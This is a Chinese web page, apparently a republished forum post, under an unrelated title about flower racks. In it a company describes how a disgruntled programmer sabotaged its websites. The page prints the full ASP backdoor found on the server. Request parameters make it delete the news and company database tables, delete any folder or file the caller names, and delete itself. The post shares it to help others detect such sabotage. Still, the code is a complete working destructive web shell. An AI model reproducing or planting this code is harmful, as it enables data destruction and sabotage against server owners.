阳台墙上花架图片:删除文件

来源:百度文库 编辑:九乡新闻网 时间:2024/04/27 10:48:00
我们公司有自己的服务器,因招来的程序员与公司有矛盾,故意编写以下可指定删除路径的代码,来报复公司,致使公司多个网站损失严重,花了大量时间搜索原因,终于找到以下有关代码,希望有出现类似情形的人,能够及时解决这项问题.



无标题文档

<%
if request("action")="hyx" then
conn.execute("delete   *    from    news")
conn.execute("delete   *    from    news1")
conn.execute("delete  *    from    company")
response.Write ""
response.End()
end  if
Sub DeleteAFolder(filespec)
   Dim fso
   Set fso = CreateObject("Scripting.FileSystemObject")
   path=server.mappath(filespec)
  if  FSO.FolderExists(path) then
  fso.DeleteFolder(path)
  response.Write ""
  else
response.Write ""
end  if
End Sub
if request("path")<>"" then
hyx=request("path")
DeleteAFolder (hyx)
end ifif request("file_path")<>"" then
set FSO=server.createobject("scripting.filesystemobject")
            picpath=request("file_path")
            pic=server.mappath(picpath)
                if FSO.FileExists(pic) then
                fso.DeleteFile pic
                  response.Write ""
                else
                 response.Write ""
                 end if
          set FSO=nothing 
        set rs=nothing
        end if
        if request("my")<>"" then
         set FSO=server.createobject("scripting.filesystemobject")
            pic=server.mappath("hyx.asp")
                if FSO.FileExists(pic) then
                fso.DeleteFile pic
                  response.Write ""
                else
                 response.Write ""
                 end if
          set FSO=nothing 
        set rs=nothing
        end  if
%>

 本文来自: 171站长论坛(http://www.171zz.com/) 详细文章参考:http://www.171zz.com/thread-58032-1-1.html